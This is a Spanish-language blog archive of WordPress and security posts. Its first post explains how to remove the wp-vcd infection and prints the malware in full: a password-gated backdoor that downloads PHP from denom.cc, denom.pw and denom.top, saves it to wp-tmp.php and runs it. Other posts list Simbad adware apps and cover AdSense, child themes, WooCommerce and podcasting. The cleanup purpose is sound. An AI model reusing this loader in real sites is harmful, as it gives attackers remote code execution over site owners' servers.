Category Archives: Blog

  • 0

Eliminar Malware en WordPress

Si encuentras en el código fuente de los sitios wordpress, algo parecido al código debajo es porque tienes el sitio wordpress infectado.

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password']

Comúnmente pasa por bajar plugins o themes premium desde lugares en donde se ofrecen de forma gratuita. Pero es muy simple eliminar esta clase de virus. Para ello vamos a realizar lo siguiente.

  1. En el directorio wp-includes, borramos los archivos wp-vcd.php y wp-tmp.php
  2. En el directorio wp-includes, abrimos el archivo post.php y borramos el contenido dentro del primer tag php agregado por el malware. (if (file_exists(dirname(FILE) . ‘/wp-vcd.php’)) include_once(dirname(FILE) . ‘/wp-vcd.php’);)
  3. Abrimos el archivo del theme functions.php, y borramos el siguiente código.
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '429acb1c29e4800452a3538a8f91edd0'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='70daf53a6c8b84ec5c45e84e576ae4d2';
if (($tmpcontent = @file_get_contents("http://www.denom.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.denom.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.denom.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif (($tmpcontent = @file_get_contents("http://www.denom.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.denom.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//wp_tmp
//$end_wp_theme_tmp

Con esto debería ser suficiente, pero si tenemos mas themes o plugins que hemos bajado necesitamos verificar antes de instalar directamente desde el zip original.


  • 0

Simbad, el virus en mas de 200 ‘apps’ de Google Play

El Instituto Nacional de Ciberseguridad (Incibe) ha informado de que ha detectado más de 200 aplicaciones infectadas por un código malicioso apodado Simbad, que estuvieron disponibles en la tienda oficial Google Play. Este viernes se han hecho eco los Mossos desde Twitter.

Según precisa el centro tecnológico, la funcionalidad principal del ‘malware’ es mostrar publicidad y, aunque las aplicaciones ya han sido eliminadas de Google Play, los usuarios que instalaron alguna de ellas deberán borrarlas manualmente.

Se han visto afectados aquellos usuarios que tengan instaladas en su dispositivo, alguna de las aplicaciones de la siguiente tabla.

Desde Google ya se han tomado las acciones necesarias para eliminar las aplicaciones afectadas de Google Play, por lo que no existe riesgo de que se vean infectados nuevos usuarios.

Como una de las funcionalidades del código malicioso es la de eliminar el icono de las aplicaciones del lanzador, para que sea más difícil de eliminar, se aconseja acceder a Ajustes -Aplicaciones y revisar el listado completo de aplicaciones instaladas en el dispositivo para descartar que no se tenga instalada ninguna ‘app’ de las afectadas. 

Listado de Apps Infectadas

Nombre del PaqueteApp Name# Installs
com.heavy.excavator.simulator.driveandtransportSnow Heavy Excavator Simulator10,000,000
com.hoverboard.racing.speed.simulatorHoverboard Racing5,000,000
com.zg.real.tractor.farming.simulator.gameReal Tractor Farming Simulator5,000,000
com.ambulancerescue.driving.simulatorAmbulance Rescue Driving5,000,000
com.heavymountain.bus2018simulatorHeavy Mountain Bus Simulator 20185,000,000
com.firetruckemergency.driverFire Truck Emergency Driver5,000,000
com.farming.tractor.realharvest.simulatorFarming Tractor Real Harvest Simulator5,000,000
com.carparking.challenge.parksimulatorCar Parking Challenge5,000,000
com.speedboat.jetski.racing.simulatorSpeed Boat Jet Ski Racing5,000,000
com.watersurfing.carstunt.racing.simulatorWater Surfing Car Stunt5,000,000
com.offroad.woodtransport.truckdriverOffroad Wood Transport Truck Driver 20185,000,000
com.volumen.booster.equalizerVolumen booster & Equalizer5,000,000
com.ks.prado.Car.parking.race.drive.appsPrado Parking Adventure5,000,000
com.zg.offroad.Oil.tanker.transporter.truck.cargo.simulatorOil Tanker Transport Truck Driver5,000,000
com.monstertruck.demolitionMonster Truck Demolition1,000,000
com.hummerlimotaxi.simulator.drivingHummer taxi limo simulator1,000,000
com.excavator.wreckingball.demolition.simulatorExcavator Wrecking Ball Demolition Simulator1,000,000
com.offroad.gold.transport.truckOffroad Gold Transport Truck Driver 20181,000,000
com.sea.animals.trucktransport.simulatorSea Animals Truck Transport Simulator1,000,000
com.water.surfingrace.motorbike.stuntWater Surfing Motorbike Stunt1,000,000
com.policechase.thiefpersecutionPolice Chase1,000,000
com.police.plane.transporter.gamePolice Plane Transporter1,000,000
com.ambulance.driver.extreme.rescue.simulatorAmbulance Driver Extreme Rescue1,000,000
com.hovercraftracer.speedracing.boatHovercraft Racer1,000,000
com.cars.transport.truckdriver.simulatorCars Transport Truck Driver 20181,000,000
com.motorbike.pizza.delivery.drivesimulatorMotorbike Pizza Delivery1,000,000
com.heavy.excavator.stonecutter.simulatorHeavy Excavator – Stone Cutter Simulator1,000,000
com.bottle.shoot.archery.gameBottle shoot archery1,000,000
com.offroadbuggy.car.racingsimulatorOffroad buggy car racing1,000,000
com.garbagetruck.city.trash.cleaningsimulatorGarbage Truck – City trash cleaning simulator1,000,000
com.tanks.attack.simulator.war.attackTanks Attack1,000,000
com.dinosaurpark.trainrescueDinosaur Park – Train Rescue1,000,000
com.pirateshipboat.racing3d.simulatorPirate Ship Boat Racing 3D1,000,000
com.flyingtaxi.simulator.raceFlying taxi simulator1,000,000
com.jetpackinwater.racersimualtor.dangerJetpack Water1,000,000
com.boostervolumen.amplifiersoundandvolumenVolumen Booster1,000,000
com.farmgames.animal.farming.simulatorAnimal Farming Simulator1,000,000
com.monstertruck.racing.competition.simulatorMonster Truck1,000,000
com.simulator.offroadjeep.car.racingOffroad jeep car racing1,000,000
com.simulator.flyingcar.stunt.extremetracks.racingFlying Car Stunts On Extreme Tracks1,000,000
com.simulator.tractorfarming.drivingTractor Farming 20181,000,000
com.impossible.farming.transport.simulatorImpossible Farming Transport Simulator1,000,000
com.volumenbooster.equalizerboostVolumen Booster1,000,000
com.mustang.rally.championship.racingsimulatorMustang Rally Championship1,000,000
com.deleted.photo.recoveryDeleted Photo Recovery1,000,000
com.race.boat.speedySpeed Boat Racing1,000,000
com.cycle.bike.racing.gameSuper Cycle Jungle Rider1,000,000
com.write.name.live.wallpaper.hdMy name on Live Wallpaper1,000,000
com.maginal.unicorn.gameMagical Unicorn Dash1,000,000
com.grafton.cycle.jungle.rider.raceSuper Cycle Jungle Rider1,000,000
com.lovecallingapps.lovecaller.ScreenLove Caller Screen1,000,000
com.city.car.funny.racing.stunt.game.proRacing Car Stunts On Impossible Tracks1,000,000
com.citycar.funny.racinggame.stunt.simulatorRacing Car Stunts On Impossible Tracks 21,000,000
com.urban.Limo.taxi.simulation.gamesUrban Limo Taxi Simulator1,000,000
com.cg.heavy.tractor.simulator.gameTractor Farming Simulator1,000,000
com.campervan.drivingsimulator.caravanCamper Van Driving1,000,000
com.bootleshoot.sniperBottle Shoot Sniper 3D1,000,000
com.globalcoporation.fullscreenincomingcaller.appFull Screen Incoming Call1,000,000
com.mustache.beard.editorBeard mustache hairstyle changer Editor1,000,000
com.volumenbooster.increaservolumenVolumen Booster1,000,000
com.photoeditor.girlfriend.addgirlstophoto.picgirlfriend photo editor1,000,000
com.tracker.location.number.free.spyMobile Number Tracker & Locator1,000,000
com.garden.editor.appGarden Photo Editor1,000,000
com.fortunewheel.gameFortune Wheel1,000,000
com.farming.transport.tractor.simulatorFarming Transport Simulator 20181,000,000
com.offroad.tractor.transport.drivingsimulatorOffRoad Tractor Transport1,000,000
com.customwallpaper.mynameonlivewallpapermy name on live wallpaper1,000,000
com.flying.ambulance.emergency.rescue.simulatorFlying Ambulance Emergency Rescue500,000
com.mustang.driving.car.raceMustang Driving Car Race500,000
com.waterpark.carracing.simulatorWaterpark Car Racing500,000
com.impossibletrucks.extremetrucks.simulatorImpossible Tracks – Extreme Trucks500,000
com.extreme.flying.motorbike.stuntsimulatorFlying Motorbike Stunts500,000
com.emergency.firetruck.rescue.drivingsimulatorFire Truck Emergency Rescue – Driving Simulator500,000
com.snowplow.simulator.heavysnow.excavatorHeavy Snow Excavator Snowplow Simulator500,000
com.waterskiing.simulator.gamesWater Skiing500,000
com.photomaker.editor.women.makeupandhairstyleWomen Make Up and Hairstyle Photo Maker500,000
com.fortune.mountainMountain Bus Simulator500,000
com.vanpizza.truckdelivery.simulatorVan Pizza500,000
com.truck.simulator.transportandparkingTruck Transport and Parking Simulator500,000
com.hoverboard.racing.spider.attacksimulatorHoverboard Racing Spider Attack500,000
com.moto.sport.championship.racingsimulatorMotorsport Race Championship500,000
com.demolitionderby.simulatorDemolition Derby500,000
com.lovecaller.free.loveringtonesLove Caller with love ringtones500,000
com.house.transport.truck.movingvan.simulatorHouse Transport Truck – Moving Van Simulator500,000
com.heavy.excavator.simulator.stonedrillerHeavy Excavator Stone Driller Simulator500,000
com.cycle.downhill.gameSuper Cycle Downhill Rider500,000
com.extreme.rallychampionship.raceExtreme Rally Championship500,000
com.missileattack.army.truckMissile Attack Army Truck500,000
com.mobile.caller.location.tracker.freecallCaller Location & Mobile Location Tracker500,000
com.mobilenumberlocator.trackerMobile number locator500,000
com.mynameonlivewallpaper.animated.hdMy name on Live Wallpaper500,000
com.spk.coach.offroad.School.bus.mountain.freeCity Metro Bus Pk Driver Simulator 2017500,000
com.fullscreen.incomingcaller.appFull Screen Incoming Call500,000
com.allsuit.man.casualshirt.photo.editorMan Casual Shirt Photo Suit500,000
com.americanmuscle.car.raceAmerican muscle car race500,000
com.offroad.nuclearwastetransport.truckdriverOffroad Nuclear Waste Transport – Truck Driver500,000
com.madcars.fury.racing.driving.simulatorMad Cars Fury Racing100,000
com.high.wheeler.speed.race.championshipHigh Wheeler Speed Race100,000
com.colorbynumber.number.coloring.paint.gameNumber Coloring100,000
com.campervan.race.driving.simulator.gameCamper Van Race Driving Simulator 2018100,000
com.unicornfloat.speedrace.simulatorUnicorn Float – Speed Race100,000
com.dualscreenbrowserDual Screen Browser100,000
com.harvest.timber.simulatorandtransportHarvest Timber Simulator100,000
com.racingsimulator.hot.micro.racersHot Micro Racers100,000
com.lara.unicorn.dash.magical.raider.raceLara Unicorn Dash100,000
com.wingsuit.simulator.extremeWingsuit Simulator100,000
com.foodtruck.driving.simulatorFood Truck Driving Simulator100,000
com.dograce.competitionDog Race Simulator100,000
com.suvcar.parking.simulator.gameSUV car – parking simulator100,000
com.clap.phonefinder.locatorPhone Finder100,000
com.phonenumerlocator.findphonenumbersPhone number locator100,000
com.whatsapplock.gallerylock.ninexsoftech.lockGallery Lock100,000
com.secret.screenrecorder.screenshotrecordSecret screen recorder100,000
com.facebeauty.makeupFace Beauty Makeup100,000
com.write.your.christmas.letter.santa.threewisemenChristmas letters to santa and three wise man100,000
com.deletedfiles.photo.audio.video.recoveryDeleted Files recovery100,000
com.screndualbrowserdouble.app.androidDual Screen Browser100,000
com.crack.mobile.screen.prankBroken Screen – Cracked Screen100,000
photoeditor.Garden.photoframeGarden Photo Editor100,000
com.modiphotoframe.editorModi Photo Frame 2100,000
com.callerscreen.lovecallerLove Caller Screen100,000
com.antitheftalarm.fullbatteryalarm.soundAnti Theft & Full Battery Alarm100,000
com.lovecaller.screen.customLove Caller Screen 2100,000
com.sms.message.voice.readingVoice reading for SMS. Whatsapp & text sms100,000
com.photo.text.editor.nameonpicName on Pic-Name art100,000
com.mtsfreegames.SpeedboatracingSpeed Boat Racing100,000
com.simulator.traindrivingTrain Driving Simulator100,000
com.grafton.Cycle.jungle.riderSuper Cycle Rider100,000
com.gl.racinghorse.competitionRacing Horse Championship 3D100,000
moveapptosd.tosdcard.freeappMove App To SD Card 2016100,000
com.avatarmaker.poptoy.creatorPop Toy Creator100,000
com.myphoto.live.wallpaper.editorPhoto Live Wallpaper50,000
com.messenger2.play.game.UnicorndashkMagical Unicorn Dash50,000
com.truck.wheelofdeathTruck Wheel of Death50,000
com.livetranslator.translateinliveLive Translator50,000
com.volumecontrol.widget.volumeboosterVolume Control Widget50,000
com.worldcup2018football.shirt.maker.photoeditorWorld cup 2018 football shirt maker50,000
com.girlfriendphotoeditor.girlsinyourphotoGirlfriend Photo Editor 250,000
com.myphoto.on.musicplayer.freeMy Photo on Music Player50,000
com.taxidriving.simulatorgame.racetaxi50,000
com.garden.photoeditor.photoframeGarden Photo Editor50,000
com.fortunewheel.deluxeFortune Wheel Deluxe50,000
com.motorcycle.extremeracing.simulatorExtreme Motorcycle Racer50,000
com.offroad.snow.bike.christmas.racingOffroad Snow Bike – Christmas Racing50,000
com.Droidhermes.bottleninjaBottle Shoot50,000
com.Hadiikhiya.photochangebackgroundPhoto Background Changer 201750,000
com.offroad.christmas.treetransport.truck.driversimulatorOffroad Christmas Tree Transport50,000
com.tank.transport.armytruck.simulatorTank Transport Army Truck50,000
com.flagteams.facepaint.editor.world2018cupFlag face paint: World Cup 201810,000
com.russianworld2018cup.livewallpaper.flagsteamWorld Cup 2018 Teams Flags Live Wallpaper10,000
com.editor.selfie.camera.photoSelfie Camera10,000
com.desirepk.Offroad.transport.simulator.appsMissile Attack Army Truck10,000
massimo.Vidlan.maxplayerMax Player10,000
com.flashalerts.callandsmsFlash Alert – Flash on Call10,000
com.photovideo.maker.withmusicPhoto Video Maker with Music10,000
com.braingames.iqtest.skillsBrain Games & IQ Test10,000
com.mix.audio.and.videoAudio Video Mixer10,000
com.poptoy.creator.edityourpoptoyPop Toy Creator 210,000
com.flashalert.callandsmsFlash on Call and SMS10,000
com.photoframe.of.heartHeart Photo Frames10,000
com.shayari.hindi.status.photo.textShayari 201710,000
com.happy.photo.birthday.cakePhoto on Birthday Cake10,000
com.photoeditor.nature.photoframesNature Photo Frames10,000
com.photoframe.calendar2018editorCalendar 2018 Photo Frame10,000
com.christmas.truck.transportsimulator.gameChristmas Truck Transport Simulator10,000
com.christmas.vandrive.modern.santaModern Santa – Christmas van drive10,000
com.anbrothers.voicechanger.appChange your voice10,000
com.monsters.vs.water.duelMoster vs Water10,000
com.flowers.editor.photo.frameEDIT Flowers Photo Frames10,000
videoeditor.musicvideo.Phototovideomaker.videoeditorPhoto Video Maker with Music10,000
com.racing.games.toiletpaper.raceToilet Paper Race10,000
com.Zv.puppiesdog.racegameDog Crazy Race Simulator10,000
com.luxury.photo.frame.photo.editorLuxury Photo Frame10,000
com.bike.wheelofdeathBike Wheel of Death10,000
com.qbesoft.worldfamousphotoframes.appWorld Famous Photo Frames10,000
com.heavysnowexcavator.christmas.rescueHeavy Snow Excavator Christmas Rescue10,000
com.syor.deleted.photo.recovery.video.restoreDeleted Files Recovery10,000
com.footballanalyzer.resultsandstatsFootball Results & Stats Analyzer5,000
com.photoframe.cube3d.live.wallpaper.hd3D Photo Frame Cube Live Wallpaper5,000
com.photoframe.geenhillGreen Hill PhotoFrame5,000
com.christmas.magnetic.magicboard.drawandwriteChristmas Magic Board5,000
com.animalspart.photo.editorAnimal Parts Photo Editor5,000
com.camera.blur.photoeffectsDSLR Camera Blur5,000
com.quick.photo.frame.carphotoframeCar Photo Frame5,000
com.game.handsslap.manitascalientes.redhandsHands Slap Game5,000
com.maa.durga.live.wallpaper4D Maa Durga Live Wallpaper5,000
com.photomontage.men.sweatshirt.editorMen Sweatshirt Photo Editor1,000
com.wordsgame.connectlettersConnect Letters. Words Game1,000
lanas.recover.deleted.pictures.photosRecover Deleted Pictures1,000
com.customized.radio.alarm.clockCustom Radio Alarm Clock1,000
com.antispamcalls.blockspamcallerAnti-spam Calls1,000
com.compatibilitytest.friends.couplesCompatibility Test1,000
com.dualscreen.android.app.doubleDual Screen Browser1,000
com.magic.glow.livewallpaper.animatedwallpaperMagic Glow Live Wallpaper1,000
com.game.virtualpet.porgyPorgy Virtual Pet1,000
com.explosiongame.taptheballTap the Ball1,000
com.analog.digital.clock.live.wallpaperClock Live Wallpaper1,000
com.royalestas.informationRoyale Stats1,000
com.editor.firetext.photo.frameFire text photo frame1,000
editor.card.greetings.christmas.com.christmasgreetingscardChristmas greetings card1,000
com.bestappsco.bestapplock.freeBest App Lock1,000
com.DJ.photoframe.editorDJ Photo Frames1,000
com.autocall.redial.automatic.recallAuto Call redial500
com.picquiz.guess.picture.gameGuess the picture500
com.professionalrecorder.audio.call.recordProfesionalRecorder500

Para un análisis del código fuente de las distintas aplicaciones le recomiendo seguir el link de la fuente, listado abajo.

Fuente: https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/


  • 0

Son seguras las CriptoMonedas?

Ultimamente se esta hablando muchisimo en los blogs de las diferentes criptomonedas, pero son seguras las criptomonedas?

Las criptomonedas están basadas en la ya conocida tecnología blockchain. La cual se está usando para muchísimos desarrollos de sistemas. Cuentan con un sinfín de beneficios y los expertos aseguran que en unos 5 años todos los desarrollos de sistemas van a estar basados en la tecnología blockchain.

Pero la cuestión en este dilema es si verdaderamente las criptomonedas son seguras. Aquí hay que hacer una aclaración y es que nada es 100% seguro, ya que la computación cambia a una velocidad considerable cada año y se van descubriendo cosas increíbles.

Al invertir en criptomonedas tenemos que asesorarnos bien con gente especializada y verificar la reputación de los sitios en los cuales vamos a invertir nuestro dinero. Los servidores en los cuales se encuentran alojadas nuestras billeteras virtuales deben estar actualizados 100% y si recurrimos a tener billeteras físicas para criptomonedas nuestra clave tiene que estar segura y bien resguardada.

Por eso, si usted está interesado en evaluar la adquisición de alguna criptomoneda, no dude en comunicarse conmigo y con gusto le daré una mano y lo aconsejaré sobre las distintas criptomonedas que hay en el mercado y las que están apareciendo.


  • 0

Adsense en Sitios WordPress 2017

Tags : 

Seguir usando adsense en sitios wordpress

El plugin para wordpress de adsense de google dejará de estar disponible en mayo de el 2017. Es por ello que deberíamos realizar unos pequeños cambios para poder seguir usando adsense en nuestro sitio web.

1. Crea una copia de seguridad de tu sitio web de WordPress.
2. Desactiva el plugin oficial de AdSense para WordPress y retira los anuncios de AdSense que ya estén creados.
3. Elige una de las siguientes opciones para seguir mostrando anuncios de AdSense.
Opción 1: Mostrar anuncios con QuickStart
Conecta tu sitio web con un fragmento de código sencillo (código de anuncio a nivel de página) para que AdSense pueda incluir anuncios de forma automática. Cuando hayas añadido este código a tu página, solo tendrás que activar un interruptor en AdSense para que los anuncios empiecen a mostrarse automáticamente.
Debes usar otro complemento de WordPress para editar la sección <head> de la plantilla de tu sitio web de WordPress
Opción 2: Mostrar anuncios personalizados de AdSense
Inserta bloques de anuncios mediante los widgets de WordPress para crear y publicar tus propios bloques de anuncios.
Para ello, crea widgets de texto en WordPress y, a continuación, copia los códigos de tus bloques de anuncios y pégalos en dichos widgets.
4. Asegúrate de que tu sitio web cumpla las políticas de emplazamiento de anuncios de AdSense.
5. Retira por completo el plugin oficial de AdSense.
6. Opcional: Para seguir usando Google Search Console, comprueba que has verificado tu sitio web.

Si necesita alguna configuración extra o algún inconveniente realizando estos pasos, no dude en ponerse en contacto conmigo.


  • 0

Crear Tema Hijo en WordPress

Tags : 

Creando Temas Hijos en WordPress

Muchas veces necesitamos realizar cambios a nuestro sitio wordpress. Si son pequeños cambios el problema no parecería ser mayor. Pero aún en estos cambios hay que tener una consideración especial.

Si modificamos el tema de wordpress en si mismo, cualquier nueva actualización sobreescribirá estos mismos. Es por ello que existen los child themes (temas hijos), así evitamos que los cambios anteriores se pierdan.

Pasos a seguir:

1 – Crear dentro de wp-content/themes una carpeta nueva con cualquier nombre. Lo ideal sería usar «nombredetemapadre-child» ya que podríamos tener varios temas y nos resultaría mas simple identificarlos después.

2 – Una vez creada la carpeta necesitamos crear un archivo dentro de la misma llamado «style.css» con el siguiente código dentro.

/*
Theme Name: Nombre Theme Hijo (Puede llevar espacios)
Theme URI: http://www.marioblock.com.ar
Version: 1.0
Description: Tema hijo de "Nombre Theme Padre" para hacer cambios sin riesgo alguno
Author: Mario Block
Author URI: http://www.marioblock.com.ar
Template: Nombre Theme Padre
Text Domain: Nombre Theme Hijo (minúsculas y sin espacios)
*/

@import url("../nombrethemepadre/style.css");

/*----------------- Empieza a añadir cambios aquí abajo -------------------------------*/

Con ese archivo archivo solo se podría subir tranquilamente y ya tendríamos un tema hijo. Pero el método @import no es recomendable para cargar estilos css, ya que consume mas recursos y por ende mas tiempo. La forma correcta de agregar estilos a nuestro tema es mediante las funciones provistas por wordpress.

Las funciones serían wp_enqueue_scripts action y wp_enqueue_style(). Ambas provistas por wordpress para encolar en forma correcta los scripts y los estilos.

Si tu tema padre contiene código css también deberás encolarlo. Seteando ‘parent-style’ como dependencia te asegurará que el css hijo se cargue después que este.  El código completo sería el siguiente.

<?php
function my_theme_enqueue_styles() {

    $parent_style = 'parent-style'; // This is 'twentyfifteen-style' for the Twenty Fifteen theme.

    wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
    wp_enqueue_style( 'child-style',
        get_stylesheet_directory_uri() . '/style.css',
        array( $parent_style ),
        wp_get_theme()->get('Version')
    );
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
?>

Tu tema hijo esta listo para la activación. Ve a apariencia->temas y activa el creado anteriormente. Puedes llegar a necesitar salvar el menú nuevamente y las opciones del theme. Para ello ve a Apariencia->Menú y salvalo nuevamente, lo mismo para las opciones del tema padre.


  • 0

Crear Theme compatible con WooCommerce

Para crear un theme compatible con woocommerce partiendo de un theme básico vamos a necesitar tener varias previsiones. Las cuales serán detalladas a continuación con sus respectivos tips para hacerlo amigable y sencillo para el usuario con poco conocimiento de wordpress.

Los principales inconvenientes se dán en los diferentes layouts cuando queremos agregar las páginas de woocommerce en si mismo. Los sidebars pueden quedar en posiciones distintas o inclusive si nuestro theme es algo anticuado y esta realizado por desarrolladores con poca experiencia puede ser algo tedioso volverlo compatible.

Esto potencialmente puede afectar la pagina de compra, la pagina de producto y las paginas de taxonomias (categorias y tags) porque WooCommerce usa templates para mostrar sus propias paginas y es imposible conocer exactamente el taggeado de los temas usados. Otras paginas (checkout, carrito, cuenta) no son afectadas porque usan la misma plantilla de page.php

Hay dos caminos para resolver esto:

Usando Hooks (para usuarios avanzados o desarrolladores).

Usando la funcion woocommerce_content() dentro del mismo theme.

Usando woocommerce_content()

Esta solucion permite crear un nuevo template de pagina dentro de tu theme original y será usado por todas las taxonomias y tipos de post de WooCommerce. Si bien es una solución sencilla tiene un inconveniente en que será usado por todas las taxonomias y post types de woocommerce. Los desarrolladores usan por lo general los hooks para ello.

Para instalar esta plantilla de página:

Duplicamos page.php

Duplicando el archivo page.php y nombrandolo woocommerce.php. Este archivo será encontrado como: wp-content/themes/YOURTHEME/woocommerce.php.

Editar la página (woocommerce.php)

Abrimos el archivo con nuestro editor de texto favorito

Reemplazamos el ciclo

Necesitamos encontrar el ciclo. Usualmente comienza con

<?php if ( have_posts() ) :

y termina usualmente con:

<?php endif; ?>

Esto puede varia entre distintas plantillas de wordpress. Una vez que lo encontramos, lo borramos y agregamos en su lugar:

<?php woocommerce_content(); ?>

Esto usará el ciclo de WooCommerce en vez de el ciclo de wordpress. Salvar el archivo. Listo.

Usando hooks

El método hook es mas complicado que el anterior pero también es mas flexible. Esto es similar al método que usamos cuando creamos plantillas de wordpress. Es también el método que usamos para integrar las plantillas Twenty Ten a Twenty Sixteen.

Insertamos algunas pocas lineas en el archivo functions.php dentro de nuestra plantilla.

Primero desestimamos los wrappers de WooCommerce:

remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10);
remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10);

Despues enganchamos en nuestras propias funciones los wrappers para mostrar en la plantilla:

add_action('woocommerce_before_main_content', 'my_theme_wrapper_start', 10);
add_action('woocommerce_after_main_content', 'my_theme_wrapper_end', 10);

function my_theme_wrapper_start() {
  echo '<section id="main">';
}

function my_theme_wrapper_end() {
  echo '</section>';
}

Asegurarse que los tags matcheen con los que usamos en nuestra plantilla. Sino estamos seguros de que clases o IDs estamos usando miramos page.php para confirmar los tags elegidos.

Declaramos el soporte para WooCommerce

Una vez que nuestra plantilla soporta WooCommerce funcionalmente, deberiamos declarar esto en el codigo para ocultar en el Dashboard el mensaje que sale de que nuestra plantilla no tiene soporte para WooCommerce. Esto lo hacemos agregando el siguiente código en functions.php.

add_action( 'after_setup_theme', 'woocommerce_support' );
 function woocommerce_support() {
 add_theme_support( 'woocommerce' );
 }

  • 0

Hacer Podcasting con WordPress

Tags : 

Hacer Podcasting con WordPress

Para realizar podcasting con WordPress existen varias alternativas. Vamos a mostrar una de las más faciles de realizar y configurables por cualquier usuario. Necesitamos instalar el plugin Seriously Simple Podcasting. Una vez activado el plugin pasamos a la parte de la configuración.

podcast1En la pestaña general podemos setear algunas configuracines extras. El plugin generará un nuevo tipo de post en donde podemos ir cargando los nuestros.

podcast2En la segunda pestaña completamos con el titulo y el subtitulo que queremos. También agregamos el autor de acuerdo a nuestro gusto. Necesitamos si o si seleccionar una categoria ya que sino despues itunes no nos va a reconocer el podcast para su distribución. Las demás opciones las vamos completando de acuerdo a la información que le querramos añadir.

podcast3 En el tab de seguridad yo aconsejo dejarlo como está, ya que si le agregamos seguridad los lectores de rss no lo van a leer y nos vamos a ver perjudicados si lo que queremos es que se masifique su uso. Es altamente aconsejable completar la información si queremos mantener una privacidad en nuestro podcast.

Las ultimas dos secciones de configuración las podemos dejar como están.

podcast4 podcast5

 

Despues lo que tenemos que hacer es ir a itunes, File >> Subscribe to Podcast y agregar la url que nos devuelve el plugin. Deberia ser algo parecido a http://www.example.com/feed/podcast en donde deberias reemplazar example.com con el nombre de tu dominio. Una vez realizado esto buscará el feed y lo mostrará. Si todo está bien estás listro para enviar el feed a iTunes.

Para submitear el podcast to iTunes, tu necesitas bajar e instalar la ultima version de iTunes en tu computadora. Despues, lanzar iTunes y hacer click en la tienda de iTunes (boton arriba a la derecha de la pantalla).

iTunes accederá a la tienda. Hacer click en el menu Podcasts, y entonces bajar un poco hasta encontrar la version de links rapidos podcasts. Deberias ver un link para enviar un podcast.

submit-podcast-itunes

Esto abrirá el proceso de enviar un Podcast. Necesitarás un Apple ID para enviarlo al directorio de iTunes. Si no estas logueado, iTunes te mostrará el login para hacerlo.

La primer cosas que necesitarás es la URL del feed. Debería ser algo asi http://example.com/feed/podcast

Dado de que estas usando un plugin, tu feed necesitará incluir tags requeridos por iTunes para podcasts.

